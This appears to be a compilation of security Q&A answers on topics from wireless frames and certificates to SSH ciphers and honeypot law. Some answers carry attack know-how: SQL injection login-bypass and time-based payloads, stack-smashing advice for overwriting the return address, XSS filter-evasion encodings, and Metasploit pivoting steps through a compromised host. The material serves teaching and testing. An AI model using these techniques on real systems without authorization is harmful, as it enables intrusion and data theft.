The fakeauth tool on aireplay is a little more detailed in that it has to try a few more things. This can also be done in scapy, or really any language. The card doesn't necessarily handle this creation, the os or the program does (not to discredit the driver or the hardware, just not really relevant where it's created). Directly building these beacons in this sense is easier than rewriting an entire library just to handle the entire stack though. All you really need to worry about is your operating system's ability to handle these requests. However, as far as a layer by layer thing, I've actually come across debate to whether wireless communication is layer 1 or layer 2. either way, the idea behind the physical connection being the radio waves and the 802.11x or similar authentication stuff will be layer 2. This beacon, can contain arp packages and move the chain up to layer 3. With all that said again, protocol knowledge will help.

Other examples:
github.com/cyrus-and/zizzania/tree/master/src

Some people actually drop their own handlers for ieee802*. In which they built the compatible hex codes so they can be used accordingly.

The IEEE does provide standards documentation that details how to form your requests, this also gives you the baseline for researching these functions:
standards.ieee.org/getieee802/download/802.11ad-2012.pdf


Are there any projects/papers on approaching exploit development with AI/automation?

The ACM had a workshop on Artificial Intelligence and Security in 2018 as part of SIGSAC.  They published the proceedings here:  https://dl.acm.org/doi/proceedings/10.1145/3270101


Using timeouts to automatically detect blind sql injection exploits

To know that a SQL exploit worked, you need to be sure that some code you supplied is indeed being executed server side.

One instance of SQL injection could be a query built as

SELECT * FROM users WHERE username='{user}' AND password='{pass}';

By replacing, say, user=squeamish&pass=ossifrage with user=admin&pass=' OR ''=', you make it so that the query executed is

... WHERE username='admin' AND password='' OR ''='';

which has good chances of getting administrator login. This is one query.

If you replace, as you did, with ' OR 1=1; WAITFOR DELAY '00:00:05';#, (actually I believe that # ought to have been --, but maybe both character sequences are valid comment initiators? I forget), you get

... WHERE username='' OR 1=1; WAITFOR DELAY '00:00:05';# other code ignored

and these are two queries. Much more powerful syntax, yes, since you can now execute any query at all as your second one. But several engines do not, or can be configured not to, execute anything beyond the first query. You would then not get any delay, and thus mistakenly conclude that the exploit did not work.

Your second attempt also makes use of the "two query" method.

In order to get a significant delay, you need a function which will take a long time to execute. Depending on the engine, you might do well with:

' OR SLEEP(5)='

This will yield a query of

... WHERE username='admin' AND password='' OR SLEEP(5)='' ...

which, to be evaluated, requires that the engine return the result of a sleep(). The query will most likely fail, but before it does, it will wait five seconds. That's how you can automatically know that a crafted query string would yield better results.

For example in MySQL you get

mysql> select 5=SLEEP(5);
+------------+
| 5=SLEEP(5) |
+------------+
|          0 |
+------------+
1 row in set (5.00 sec) <----


Role of certificates in simple hybrid cryptosystem

What I don't understand is the role of certificates in this process..

you already answered your question:

  Can't my application just connect to my server

only if your application would know that it is your server and not mine... Here is where certificates start to play a role. They are used to identify communication peers. Server identifies itself with server certificate and client identifies itself with client certificate (if necessary).

All certificates are very similar and you must be able to distinguish them before trusting them. This means that client application must use some logic to validate server certificate to determine whether it is the right and trusted one. There are various options, one of which includes Certificate Pinning. While it sounds as an easy solution, it has some serious issues when you have to replace server certificate, because of expiration or because of compromise.


It seems like that URL points to Adblock Plus (as does the author's name). My guess is that something was accidentally pushed to release with a placeholder for the version / name. I tend to use "x", and various combinations of "foo" and "bar".

Unfortunately, your question doesn't give me anything else to go on and is too point-in-time to really get anything useful.


TOOL-BARS: How do toolbars manage to insert new settings on to the users computer when legitimate programs can't/won't do it?

When you installed Ask there was a check box which was enabled by default that gave a high level of permissions to the toolbar. So it doesn't need to ask for these permissions in future.

I have not used duckduckgo, but I assume it is a bit more polite, and asks for specific permissions.


How to overwrite ebp on stack alignment?

I wrote that exact code into an overflow.c file, and got the following main().  I disassembled with objdump --disassemble overflow
0804846d <main>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       83 e4 f0                and    $0xfffffff0,%esp
 8048473:       81 ec a0 00 00 00       sub    $0xa0,%esp
 8048479:       8b 45 0c                mov    0xc(%ebp),%eax
 804847c:       89 44 24 0c             mov    %eax,0xc(%esp)
 8048480:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048486:       89 84 24 9c 00 00 00    mov    %eax,0x9c(%esp)
 804848d:       31 c0                   xor    %eax,%eax
 804848f:       8b 44 24 0c             mov    0xc(%esp),%eax
 8048493:       83 c0 04                add    $0x4,%eax
 8048496:       8b 00                   mov    (%eax),%eax
 8048498:       89 44 24 04             mov    %eax,0x4(%esp)
 804849c:       8d 44 24 1c             lea    0x1c(%esp),%eax
 80484a0:       89 04 24                mov    %eax,(%esp)
 80484a3:       e8 98 fe ff ff          call   8048340 <strcpy@plt>
 80484a8:       b8 00 00 00 00          mov    $0x0,%eax
 80484ad:       8b 94 24 9c 00 00 00    mov    0x9c(%esp),%edx
 80484b4:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484bb:       74 05                   je     80484c2 <main+0x55>
 80484bd:       e8 6e fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484c2:       c9                      leave
 80484c3:       c3                      ret

Unfortunately I don't think there is a way for you to know how much the stack is going to be aligned at that point. You do know that it won't be more than 16 bytes. A dirty solution would be to write the 0x84 bytes to reach the alignment section. Then write the 4 byte value you want to overwrite EBP and/or the return address with 6 times. This would also smash the stack completely if the alignment was less than 16 bytes. But if you gain execution you could fix it up to a working state in your shellcode.

To go a bit further lets perform this same operation in a different function.  Which would be a lot more likely of a scenario than a main().  So now we have the following:
  1 #include <stdio.h>
  2 #include <string.h>
  3
  4 int function(char **argv) {
  5     char buf[128];
  6
  7     strcpy(buf, argv[1]);
  8
  9     return 0;
 10 }
 11
 12 int main(int argc, char **argv) {
 13     return function(argv);
 14 }

Which disassembles to:
0804846d <function>:
 804846d:       55                      push   %ebp
 804846e:       89 e5                   mov    %esp,%ebp
 8048470:       81 ec a8 00 00 00       sub    $0xa8,%esp
 8048476:       8b 45 08                mov    0x8(%ebp),%eax
 8048479:       89 85 64 ff ff ff       mov    %eax,-0x9c(%ebp)
 804847f:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048485:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048488:       31 c0                   xor    %eax,%eax
 804848a:       8b 85 64 ff ff ff       mov    -0x9c(%ebp),%eax
 8048490:       83 c0 04                add    $0x4,%eax
 8048493:       8b 00                   mov    (%eax),%eax
 8048495:       89 44 24 04             mov    %eax,0x4(%esp)
 8048499:       8d 85 74 ff ff ff       lea    -0x8c(%ebp),%eax
 804849f:       89 04 24                mov    %eax,(%esp)
 80484a2:       e8 99 fe ff ff          call   8048340 <strcpy@plt>
 80484a7:       b8 00 00 00 00          mov    $0x0,%eax
 80484ac:       8b 55 f4                mov    -0xc(%ebp),%edx
 80484af:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 80484b6:       74 05                   je     80484bd <function+0x50>
 80484b8:       e8 73 fe ff ff          call   8048330 <__stack_chk_fail@plt>
 80484bd:       c9                      leave
 80484be:       c3                      ret

Since it's not a main function you don't have that pesky and esp, 0xfffffff0 operation in there.  You can perform your subtraction just like you normally would have expected.
I hope this answers your question.


What app owners need to do while they resolve XSS to minimize risk?

This is primarily a business decision. There are two extremes:

Accept the risk - just carry on and hope no hackers exploit this.
Turn off the application - no chance to it being hacked if it's turned off.

In practice, the risk of XSS on an internal network is pretty low. If external attackers are on the network, they can probably do worse things. Malicious insiders tend to abuse legitimate access rather than engage in hacking. On the other hand, turning off the application would probably have a major business impact. So most businesses would accept this risk.

There are technical measures that can mitigate the risk. For example:

Install a WAF - although installing and tuning this will probably take more than 30 days.
Change user behaviour - Users need close all other browser Windows (and tabs) while using the internal application, and logout when they are finished. This makes XSS in the internal app non-exploitable - although it's a pain for users.

Ultimately though, your business agreeing to fix the issues within 30 days is a pretty good response. A lot of businesses take security flaws in internal apps far less seriously.


What is the current U.S. law regarding the building of and deployment of honeypots?

I'm not sure this question is answerable on this website (however IMHO it remains a good question and I thank you for this document which highlights the legal impact that using a honeypot may have).

In fact, the document you are linking explains that legal rules surrounding honeypots will deeply vary depending:

On the exact type of honeypot you setup,
The kind of monitoring you use,
The type of advertisement you make regarding the honeypot existence,
The exact usage you intend for this honeypot.

Due to all these factors, the document acknowledges that such question goes beyond the competences of IT Security engineers and requires the intervention of a specialized lawyer.

Sadly on this site there is mostly IT Security engineers, and very few lawyers...

However, this document has the merit to draw the gray line allowing to distinguish what could be considered safe. Other users may want to contribute to it according to their own experience, but as per my understanding this would be:

Do not expect to use any data collected by the honeypot as evidence in a legal affair. These data might be useful for education or statistic purposes, but they will have nearly no legal value when trying to sue a potential attacker. (Such usage remains possible, but will need legal expertise to setup things correctly in advance.)
Do not store any illegal content on the honeypot. Storing child pornography (example taken from your linked document) in order to trick people downloading them is a bad idea. It will be useless (see the point above) and you could actually be sued for owning these images in the first place, no matter the goal.
Ensure that the honeypot cannot be used as a relay for further attacks. Having a poorly isolated honeypot usable as a source for further attacks against third party systems may also bring you into legal trouble. You are meant to be responsible of the security of your own system. Since the honeypot will most likely deliberately show blatant weaknesses, handling it properly to avoid unexpected side-effects will require a special care.
Do not encourage any illegal activity. Do not advertize the honeypot in a dubious way. Either do not advertize it at all, letting automated scanners discovering it, or advertize it officially as some kind of "hackme" educational system. For instance, spreading pseudo "leak" information on the Internet regarding the server to encourage attacker to exploit it can lead you to trouble.
Present the honeypot system as a private monitored system. Honeypots are heavily monitored systems, and there are laws defining the data you may or may not collect regarding other people's, how long you are allowed to keep them and what processing you may do with them. Present the honeypot as much as possible (since some service do not have any banner...) as a private system whose usage imply user's consent to be monitored. This will limit any potential threat regarding this data collection and analysis activity.


Any real-world examples of root certificate store compromises?

The same software library that Superfish uses is present in other products beside those found in Lenovo products last year: http://www.tripwire.com/state-of-security/latest-security-news/researchers-reveal-evidence-of-other-superfish-style-attacks-in-the-wild/

Then there are the 2011 Comodo and DigiNotar breaches, which may be the most famous, early root certificate compromises as they were commercial Certificate Authority vendors. Their root certificates were already trusted by most, if not all, browsers at the time. The breaches included the issuance of false certificates impersonating Google, Yahoo, and others.

(https://nakedsecurity.sophos.com/2011/03/24/fraudulent-certificates-issued-by-comodo-is-it-time-to-rethink-who-we-trust/)

(http://arstechnica.com/security/2011/09/comodo-hacker-i-hacked-diginotar-too-other-cas-breached/)


Is it safe to install metasploit on my work computer?

While installing metasploit on your machine will not directly cause any issues you should be aware of the following:

metasploit, like all other software, can introduce vulnerabilities as a result of the underlying components that make it work, the database listener and Ruby service are installed as well as a web framework depending on the version installed. If your computer is not adequately protected or new exploits are found for this software, it may be possible to compromise your machine. This is an inherent risk of installing any software.

metasploit allows for the creation and generation of 'malicious' payloads. If configured incorrectly or run accidentally on your machine could introduce vulnerabilities as well.

many antivirus solutions will detect metasploit modules and exploits and prevent them from running by placing them quarantine. If you have AV installed you'll need to provide exceptions for it which is, overall, reducing your effective security.

In summary, it depends on what you define as safe. If the above risks are acceptable, go ahead. The metasploit framework is well renowned and as far as anyone knows, isn't backdoored in any way. Assuming you download it directly from rapid7 I would imagine there would be no issues.


Difference between Web App Pentesting and Web App Security Audit

I was debating whether to answer since it may be a matter of opinion to an extent...

Some clients like some names other clients like others. The purpose can be the same and the result as well. So... it varies.

I've done penetration tests against web applications and black/grey box style audits (with and without access to the developer team for questions, etc) and the methodology and the output are the same.

In either case you test the application following a certain methodology to determine whether it is vulnerable to attack, which attacks, to what consequence and how to mitigate these issues. The result is usually a report with a technical risk assessment of a list of vulnerabilities detected including recommendations for mitigation, together with a discussion of the results of some sort.


You can find it here:

https://github.com/nixawk/labs/issues/15

Most CVE proof of concept (PoCs) can be found on exploit-db, Github or Security Focus.


Does the use of a Hardware Security Module improve the security of a password storage?

This is a standard, highly-secure way to combine a slow, salted password hash with a "pepper" (or "secret salt") that ensures, even in the case of complete exposure of your auth database, attackers cannot crack any of the passwords without further compromise. You can do this in software: compute the HMAC with a secret that might be stored in the server process, in an OS-protected area that won't reveal the key to user-mode processes, or in another machine on the network via some form of RPC (in increasing levels of security). The last approach is effectively a software "HSM" and is sometimes used as a cheaper alternative to a true HSM.

It's possible to reverse the order of HMAC and password hash - run the password through your slow salted hash, and then HMAC it and check the result against the value in the DB - but this doesn't work with things like your kdf.verify function. Perhaps more interestingly, with a scheme like this it's also possible to do away with the slow password hash altogether, if you're sufficiently sure the HSM (or whatever you use to compute the HMAC) is secure enough. Compromising either the HSM or the DB still won't provide enough information to crack users' credentials (although the server itself is a single point of failure, of course, since it has access to both and also sees passwords as they are sent by users). However, if the attacker does get access to both, brute-forcing could proceed as fast as the attacker can ask the HSM for HMACs, so (IMO) it's still a good idea to have a slow hash function in there.


Why is OpenID considered secure when password reuse is not?

The point of OpenId or other similar mechanisms is that it allows you to select a single, highly trustworthy organisation to hold your credentials. There is an assumption that they are in some way more secure than the average site. For example:

They should offer 2 factor authentication
They should have good, proactive account misuse monitoring
They should be ISO27001 certified
Etc.

If you re-use your password, then your accounts across all the sites where you re-use are only as secure as the weakest site. Any compromise of any site would mean all your accounts are at risk.

So, partly it is a simple probability - the more places you keep your credentials, the more likely they are to be stolen.

And partly it is about quality- you should select an OpenId provider that you trust highly.

On the point about entering email credentials into other sites, the idea with OAuth etc. is that you don't do that - the site that you log into redirects your browser to your ID providers site and you enter the credentials there. Admittedly, this is somewhat subtle and many users might not realise what is happening, but that is the principle.


Try using the --sctp option with both of your commands.


How to Verify Qualys QID 42366 - SSLv3.0/TLSv1.0 Protocol Weak CBC Mode Server Side Vulnerability (BEAST)

BEAST is caused by a flaw in the protocol, not by a bug in the implementation.

Every server that supports TLS 1.0 with a CBC cipher suite is vulnerable to BEAST. Because the only other way to use TLS 1.0 is with RC4, this means that if BEAST is a concern, you can't allow TLS 1.0.

Most browsers mitigate BEAST using the 1/(n-1) split, so people keep supporting TLS 1.0.

A way to check whether your server is vulnerable:

openssl s_client -connect qualys.jive-mobile.com:443 -tls1 -cipher 'AES:CAMELLIA:SEED:3DES:DES'

Wikipedia

Qualys


When you use Shodan your system is not directly contacting the target system, what you're doing is querying the database that Shodan has built up from their port scanning runs over various IP address ranges.

The API performs the same kind of queries as you can do from the main Shodan website.

In terms of your question of Active v Passive, it depends on perspective.  From your perspective it's passive in that you don't send traffic to the target system.  From shodans perspective it's active in that they do send traffic to the target system


Why does my Amazon-issued certificate not show up in the certificate transparency logs?

Without seeing the exact certificate its not possible to check that there definitely isn't transparency for that certificate - there are numerous logs and I do not know which crt.sh searches.

However CT is still optional and most clients do not enforce it yet. Chrome requires it for EV certificates and all certificates issued by Symantec after 1st June 2016 - so it is possible Amazon have chosen not yet to implement it for AWS Certificate Manager.

*https://transparencyreport.google.com/https/certificates does not show the certificate - which suggests to me Amazon have chosen not to implement it.


Consider what reflective DLL injection is: You exploit an application to get it to execute arbitrary code and this shell code loads a DLL into memory as a blob of data (all standard shell code stuff so far...) and then gives it execution such that the DLL loads itself properly as a DLL via a PE loader.  The purpose of this whole idea: Let you write a full application that can compile to a DLL in a language of your choosing instead of writing the whole malware as assembly code with fixed memory offsets.

So to detect, you want to look for a PE file that exist only in memory and not on on disk and is running code in it.  So scan through executable memory blobs for things that look like PE files, but aren't associated with any on disk file.  That can be done as a post-exploitation forensics.  Or if you want to detect real-time, hook calls normally associated with Reflective DLL Injection such as LoadLibrary, GetProcAddress and VirtualAlloc, and perform the previous step with more smarts.  See ambuships.com


Yes you can. type in metasploit use post/windows/manage/autoroute then set SESSION 1 (1 is the session that you have meterpreter on) SET subnet 192.xxx.xxx.0 (your pen-test subnet) type run check if it works with route print.This makes the traffic goes internally
.If all it's ok, you can use your session of "Victim 1" to send commands internally to "Victim 2" the packets would be like this:
You > Victim 1 > Victim 2

Remember to set LHOST in next exploit to be your Victim 1 Address.


I can see two main aspects:

Convenience
Users with mobile keyboards with auto-capitalization enabled will not have to change the first letter to lower case before submitting the form, and that leads to a better user experience.

Makes impersonation harder
If Smith and smith are seem as different users, and you allow users to communicate with each other, someone can create "clones" of the current accounts and mislead other users.


Mac laptop security on insecure wifi connections

What's the threat model?  With the exception of particularly hostile environments (DEF CON, for example), I just connect to a VPN and move on with things.  I believe I have my laptop hardened adequately to protect against general malware, theft, etc., by:

Don't run network exposed services.
Firewall in case I screw up #1.
Patched.
VPN.
Full Disk Encryption.  (This is the theft bit.)

If you're worried about Evil Maid Attacks or other targeted attacks, you'll need to take more precautions, but if it's just general malware/bored script kiddies you're concerned with, then patch, run a VPN, and enjoy the conference.


Vulnerabilities of using a token based authentication such as this

This is a classic session management scenario. There are multiple angles though. Let's walk through your workflow.

  The user authenticates their credentials to the server (Note: All passwords will be saved in a hypothetical users table and will be hashed + salted)

This is all good, assuming you are using a strong password hashing algorithm like Argon, bcrypt or PBKDF2.

  -Assuming the credentials are correct and verified, the server then generates an authentication token which is created by concatenating the username, a timestamp and a random string of text. The concatenation will be hashed (the hash will be the token)

In this step, you are creating a self-describing token which is most commonly used in stateless-session management. If you really want to go stateless use JWTs. There is no reason to use a custom algorithm. Beware though going stateless has limitations (no "log-out", no single-session, no idle timeout, no one-true session state, etc.)

You also store the token in the DB which defeats the purpose of stateless tokens. Take your pick here. If you need a single-session setup go with a stateful approach with an opaque token. If you want statelessness, you need to sacrifice the single-session setup as that goes against the very definition of being stateless on server-side.

  -This hash is then stored in the database and is transmitted back to the client (Using SSL), which will be stored and sent in the headers along with the username for every request the client makes.

With a self-describing token, there is no need to send the username along as it is already in the token, integrity protected. (Hint: JWT)

  -The token and username are then verified by the server to match the ones in the database.

If you go stateful this would be a simple lookup: which user belongs to this session? If you go stateless this DB lookup is eliminated and you only need to verify the token integrity and expiration.

  -Note: Every time a new successful login is made, a new token will be generated and then replaced in the database preventing multiple devices to be logged into the account at once.

As described above, if this is a must-have, go stateful with an opaque Bearer token.

  Assuming all database queries are parameterized, what other types of hypothetical vulnerabilities could arise from using a system like this?

There is nothing wrong with your approach however, I recommend you decide how to handle sessions (stateful or stateless w/ JWT). Both routes work and they have trade-offs. A hybrid approach also works, but that needs to be justified by the use-case and from what I understand, your's doesn't seem to fit that.

Once you have that, follow standard security advice:

choose strong keys
limit secret exposure
use well-built libraries instead of coding your own crypto
use strong algorithms
etc..

You can also check out the web API authentication guide I put together for alternatives.


Should the client or the server generate the client's public-private key pair?

My question is, in short, should the client or the server generate the
  public-private key pair?

In theory, the client should generate their own key pair.  That way the private key:

is known only to the client
is not exposed to transfer

In practice, it's not unheard of to see servers generating client keys and handing them out.  However, this is usually only done in cases where the client lacks some necessary resource which can generate a key and a CSR themselves:

limited processor
human interaction required

(Quite literally, most "server hands out the keys" setups I've seen boil down to "our users are too stupid, and our support group doesn't want to hand-hold them all")

It sounds like you're implementing server and clients.  If you have that level of control, then generate client keys at the client because it's the right thing to do.


Locking down Windows 7 and only allowing outbound calls on 80/443

Have a read of the answers on the Security Stack Exchange question on Attacking Kiosks.

Configuring your outbound firewall is a very small part of the story - to help dissuade attackers there are a much wider range of security controls you need to think about:

eg. will someone actually steal the hardware, can they plug in a USB or other device


Secure Configuration of Ciphers/MACs/Kex available in SSH

Right now, there is no known weakness with MD5 or CBC encryption or 96-bit MAC as they are used in SSH. So there is, stricto sensu, no security benefit in enacting the configuration modifications that your are proposing. It could be argued that removing support for some algorithms might lead to security issues because it may prevent some clients from connecting at all, thus forcing the user into finding workarounds which could be less secure (e.g. if scp is no longer possible, send the file over email...).

The least irrational of your design goals is the prohibition against CBC. CBC security requires proper management of Initialization Vectors; in the case of SSH, the IV is extracted from the last block of the previous packet (see the standard), which is fine as long as the attacker is not in a "chosen plaintext attack" situation. In practice, data which goes inside the SSH tunnel is not hostile, contrary to what occurs in HTTPS contexts where malicious client code (in Javascript) is a definite possibility. Similarly, padding oracle attacks on SSH are hard to leverage (assuming that the client or server code is not adequately protected), because SSH is connection oriented and won't (re)open failed connection automatically (there again, contrary to what happens with HTTPS).

Similarly, HMAC/MD5 is, as far as we know, as solid as ever. Known collision attacks on MD5 have no bearing on the security of HMAC, except in the fuzziest of senses (which can be summarized as: "MD5 stinks"). As for truncating HMAC values to 96 bits, there is again no reason to discriminate against that: an attacker will successfully bypass a 96-bit MAC value with probability 2-96, which is extremely low, and impossible to exploit in practice because any MAC failure on a single SSH connection is reported with a quite visible error message. This is again the way SSH is used which protects it against the level of attack automation that can be applied to HTTPS.

Therefore one could say that since pruning out algorithms from the list is for the benefit of your feelings of safety, the right list is the one which will make you feel safest. That's subjective, by definition, so you are the only one who can define this "best" list. As for me, I am quite happy with the defaults.

As for order, consider this excerpt from section 7.1 of RFC 4253:

  encryption_algorithms
     A name-list of acceptable symmetric encryption algorithms (also
     known as ciphers) in order of preference.  The chosen
     encryption algorithm to each direction MUST be the first
     algorithm on the client's name-list that is also on the
     server's name-list.

So the chosen algorithm will be the client's preferred algorithm. The server's order of preference is only a glorified comment; it won't impact which algorithm is actually chosen. Therefore, the order in /etc/sshd_config is not important.


Security scan result - Server leaks inodes via ETags

First of all, this is a false positive. Nikto reports this issue "Server leaks inodes via ETags" if there is a dash in the ETag header, which is by itself not an indication of anything.

An inode is a data structure used by the Linux file system. Every file and directory has an inode which stores its name, size and other data. Every inode has a number which uniquely identifies it. Apache HTTPD used this in the ETag for a while. The ETag is an identifier which should uniquely identify a file on the webserver, and the inode number is a number which uniquely identifies a file on the filesystem, so it seemed to make sense to use one for the other.

The inode number is technical information form the file system. If exposed, it cannot be used to exploit anything useful. Furthermore, it is only exposed on files that you can already download. It doesn't seem to a real security risk to me if a server exposes inodes.


In your question you are only taking about keys, where a key can signed by someone else but the key is not associated with an identity itself:

  If John also has a key signed by Peter, presents it to Bob, Bob verifies, but John says that his username is Alice, than what to do?

You then propose the concept of adding the identity:

  Is it ok if Peter instead signs the hash of Alice's name and her public key(Alice's key and name combined),...

This way you described one of the main elements of a public key infrastructure (PKI): the certificate. Certificates are information about the identity  (name of Alice) combined with the public key belonging to the identity (Alice public key) and all this together signed by the issuer (using Peter's private key).

Whenever you do a HTTPS connection the server sends such a certificate and the client verifies that the name in the URL matches the name in the certificate, i.e. that the claimed and actual identity match. A certificate contains even more information, like lifetime of the certificate or what is is usable for.

  What if the hash was cracked?

If the hash is cracked or if the private key gets known it would be bad and could be use to fake an identity. That's why safe hashes are used like currently SHA-256.

  Also, Peter will be offline when Alice connects to Bob.

This does not matter much. Bob does not need to ask Peter if Alice certificate is valid because Bob knows and trusts the issuers (Peters) certificate. But it would be useful from time to time to ask Peter if Alice revoked their certificate.

For more details have a look at how a PKI works.


I can't tell you what will work because I don't have the application in order to test it myself. I can only suggest things you should try in your response.

Try:

HTML encoding " in the URL.
Double URL encoding " in the URL (%25%32%32).
Double URL encoding " in the URL (%2522).
HTML encode then URL encode.
Combinations of the above thereof.
Try UTF-7 XSS exploits.
Try constructing the URL from a redirect instead of via the browser address bar. Try different types of redirect: HTTP 3XX, JavaScript location (try setting different properties of the location object), meta refresh, redirect via Flash/Silverlight).

Find out how the application responds to the above probes. Maybe it isn't possible at all because in this case you definitely need to find a way of escaping the double quote in order to add your attribute.


A "telegram engineer" access my telegram account

Short answer is that it's possible.

The simplest way would be for a telegram engineer to change the Telegram client to forward your password when it's entered. Then, Telegram can have bullet proof crypto, you can own the keys, their systems can be audited but the end-to-end system is under the control of Telegram: it's perfectly possibly for them to have a back door.  It's perfectly possible for them to introduce a back door. They probably don't but, they could. If they change the client to capture and forward your password then it does not matter what crypto they use on the back end or in which jurisdictions they store the shards or if they also choose to send you an SMS code because your password is known.


When someone clicks on a link that downloads the virus what makes the virus run?

In addition to @mentallurg ‘s answer there’s another way of executing the virus code. Sometimes virus code is packaged within an exploit for existing software.

For example there could be a vulnerability in your browser that allows constructing a malicious web page in such way that a part of that web page would be interpreted as code and executed on your cpu. Depending on vulnerability used that could happen right after you open the page, or when you perform specific actions (like clicking something) within the document.

The best way to defend against these attacks is to regularly update software. In addition - minimize usage of weird browser extensions (flash, silverlight, etc). Browsers are pretty secure pieces of software, but flash is regularly used as a target. Nobody should use it in 2020...


Is it reasonable to store HMAC secret key in memory only?

I get why you would want to rotate your secret key during a server restart. But, I believe the same can be achieved by managing the expiry time of your issued tokens. Moreover, it would improve the user experience, since users won't have to authenticate every time you restart the server.


The file can be specifically crafted to trigger the malicious code when the user opens it (views it) on his device (local or via a received link).

The vulnerability associated with the PNG bug can be tracked as CVE-2019-1986, CVE-2019-1987, CVE-2019-1988.

CVE-2019-1986 – Uninitialized errors in SkPngCodec

CVE-2019-1987 – Heap buffer overflow

CVE-2019-1988 – Bug decoding JCS_RGB jpeg files


I'm not familiar with Cryptree, but from reading the first page of the PDF I can see that it's basically a file encryption library. (Actually directory-tree encryption.) So the answer to your question is: it depends on where the decryption happens and where the keys are stored.

If the provider uses Cryptree internally but holds the keys and does the crypto itself, then the answer to your question is "no". The provider has access to all of your data. They've made it somewhat harder for a rogue employee to read your files, but it's not impossible, and they have the capability to hand over your data to a government if ordered to.

If the provider leaves the encryption up to you, and the API between you and the provider merely transmits encrypted file data, then the answer to your question is "yes", because it means the provider has no way to read your files. All they have are encrypted blobs that they don't have the keys for.

I'm basically giving you the same answer as Gilles, but hopefully in a clearer form.


Is it possible to have securely encrypt chat on server you don't trust?

If the untrusted server is both hosting the software/web pages used for encryption and is relaying the encrypted messages then you cannot trust the encryption to keep your secrets because the software doing the encryption comes from an untrusted source.

If instead the software used for encryption comes from a trusted source and the untrusted sever is only relaying the encrypting messages then the server has no way to read or modify the messages, provided that the encryption was done properly. The server might at most try to disrupt communication by not forwarding some messages, duplicating messages or changing the message order. But properly done encryption should at least detect such manipulations.


There are known biases in RC4 output, especially in the first bytes of the stream. In the "Gmail scenario", the client (Web browser) regularly connects to the server to poll for new incoming messages. Each connection implies encrypting the request data with a fresh RC4 stream; and all the requests will contain the same secret value at the same place in the stream (the HTTP cookie). Over time, an attacker observing the streams may do statistics to work out the data bytes of the said secret. See this blog post for some explanations.

Note, though, that in practice it does not work (yet). The attack is cryptographically real; however, the "Gmail scenario" does not do enough connections to allow the biases to become really dangerous. The safety margin is small (uncomfortably small), but it is there. Namely, it takes millions of connections for the biases to begin to show up, and, moreover, the "interesting bytes" for the attacker are a bit too far down the stream (a HTTP request will begin by the "verb + path" string, then other headers, the cookie coming only after a few hundred bytes; the biases are biggest at the beginning, but the farther the secret is, the less efficient the attack becomes). Assuming a connection every minute (Gmail does not do connections that often) it would still take 30 years of continuous observations to begin obtaining actual secret bytes, even if the cookie appears "early" in the HTTP header.

So while these biases ring as a warning bell, telling us that RC4 is flaky and we should be wary of using it, they do not mean that RC4-protected SSL can be routinely broken through. Google uses RC4 (that is, they support RC4 and they configured their servers to prefer RC4 whenever possible) because of all the noise which was made about the BEAST attack on block ciphers which use CBC. The BEAST attack setup is heavy and was demonstrated in lab conditions only; never spotted in the wild; and Web browsers promptly included countermeasures so the attack does not actually work in practice. So, in effect, Google has to choose between two attacks which do not work, and do things which will disable one or the other (although in practice neither works). This is not a cryptographic issue; this is a public relations problem. Right now, Google prefers RC4 because they consider that, in the view of the general public, BEAST is "scarier" (maybe because the BEAST was presented as a Youtube video whereas the RC4 biases were first publicized as a 335-slides technical presentation; it is no wonder that the former better took to the public eye than the latter).

In any case, Google can switch its server configuration at any time. As long as they keep track of advances in cryptology (they do), things will be fine.


Nmap: Spoofing IP adress (-S option) or using Proxy chains, what's the difference?

No.

Scanning through a proxy allows you to scan from the IP of that proxy, and it only works with certain scan types, as you're just tunneling traffic through a proxy server. Connect scans are the obvious example of a scan type that works via a SOCKS proxy.

Scanning with -S allows you to explicitly set the source IP address that your scan's IPv4 (or IPv6) headers contain. You can't do this with a proxy scan. If you're actually trying to scan something, the only useful reason to use -S is to set your source IP when nmap can't figure it out itself.

Alternatively, you can make it look like an nmap scan is coming from another system on the network, in order to confuse a defender and waste their time. However, since the target server will reply back to the IP address in the source header, you won't see the response packets from the server, so it won't function as an actual port scan and nmap isn't likely to return useful results.


Does SELinux substitute or complement DAC?

SELinux complements DAC, It is an enhancement to DAC. An optional add-on to DAC. Its a patch to DAC with the aim to address various modern day challenges. DAC is old and needed an overhaul. In practice SELinux sits below DAC. So first DAC is enforced and after that SELinux is enforced. Which means that SELinux eventually takes precedence. SELinux does override DAC depending how you look at it. You can use SELinux to prevent access that would otherwise be allowed by DAC but you cannot use SELinux to allow access that would otherwise be prevented by DAC


Does where I put my PKI certificates matter?

If you put the intermediate CA certificate in the "trusted root" store, then you are instructing your machine to actually trust that certificate ex nihilo. You have turned it into a trusted root. When, for instance, your Web browser tries to validate a certificate issued by that "intermediate" CA, it will accept it with a chain which begins with that CA, totally ignoring the true root CA.

The basic consequence is that the intermediate CA can no longer be revoked: since your machine trusts that certificate by virtue of it being in the "trusted roots" store, and not by virtue of it being signed by another trusted certificate, then it has no reason whatsoever to download a CRL which covers it. By definition, trusted roots are not revoked; they are installed manually, and if they are no longer to be trusted, then they are removed manually as well.

Thus, emplacement matters. Certificates in the "trusted root" store are meant to be managed explicitly, so you should put there only the CA certificates that you intend to manage explicitly. "Explicit management" here means "when the certificate must not be trusted anymore, the sysadmin must manually remove the certificate from the store".


Convince people not to share their password with trusted others

The nice and educational way
This is a bit similar to your third bullet point.

Nobody else should know your password, not even people you trust. That is the only way you can be sure only you have access to your account. Let's say you give me your Facebook password and a week later rumors start spreading about what you did in Las Vegas last year.
Only a few people you trust knows that, and well, potentially me since I have your Facebook password. If that happens, I do not want to be a suspect. I do not want to be in a position where every privacy-related incident that happens to you could have been because of me.
Giving information they should not have to people you trust can end up destroying that trust instead of reinforcing it.

If countered with "but I really do trust you completely", highlight that the person also completely trusts Eve and Mark, the only two persons in the world who know about the Vegas incident, and if the word gets out clearly someone trusted must have broken the trust. A key message is this:

I do not want to be party to all your secrets.

If need be, make up a white lie about a friend of yours who got in trouble in a similar scenario to make it more concrete.
The not so nice and educational way

To teach people not to share their password, I post all passwords people give to me on Twitter. No exceptions. If you give me your Facebook password, within five minutes it will be on Twitter together with your username. [Open up Twitter and get ready to type.]
If you still want to give it to me, that is fine, but you have been warned.

